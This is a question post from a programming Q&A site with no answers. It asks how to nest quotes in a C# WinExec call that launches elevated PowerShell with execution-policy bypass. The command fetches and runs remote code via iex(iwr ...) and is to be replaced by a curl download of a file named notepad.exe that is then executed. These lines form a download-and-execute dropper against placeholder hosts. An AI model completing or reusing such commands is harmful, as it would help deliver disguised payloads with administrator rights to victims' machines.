What quotations to use in powershell called from C# when ", \" and ' are already in use

Viewed 43

I'm learning about quotations and there is a question I can't get solved. There is a line of code written in C# that use iwr

WinExec("powershell -noexit -ExecutionPolicy bypass -Command \"Start-Process -verb runas powershell\" \"'-noexit -ExecutionPolicy bypass -Command iex( iwr http://example.com/raw/xxxxxxx )\" '\"", 1);

Because the lack of the IE engine support I need to replace "iex( iwr http://example.com/raw/xxxxxxx )" with:

curl -o notepad.exe "http://example.com/?Id=1&data=more%0data"; .\notepad.exe

Usually I would do it like this:

-noexit -ExecutionPolicy bypass -Command "curl -o notepad.exe \"http://example.com/?Id=1&data=more%0data\"; .\notepad.exe"

But in the example which is given ", \" and ' are already in use. While in the command I think I need to add " and \".

Are there other quotations I can use to make this work? How to do this?

0 Answers
Related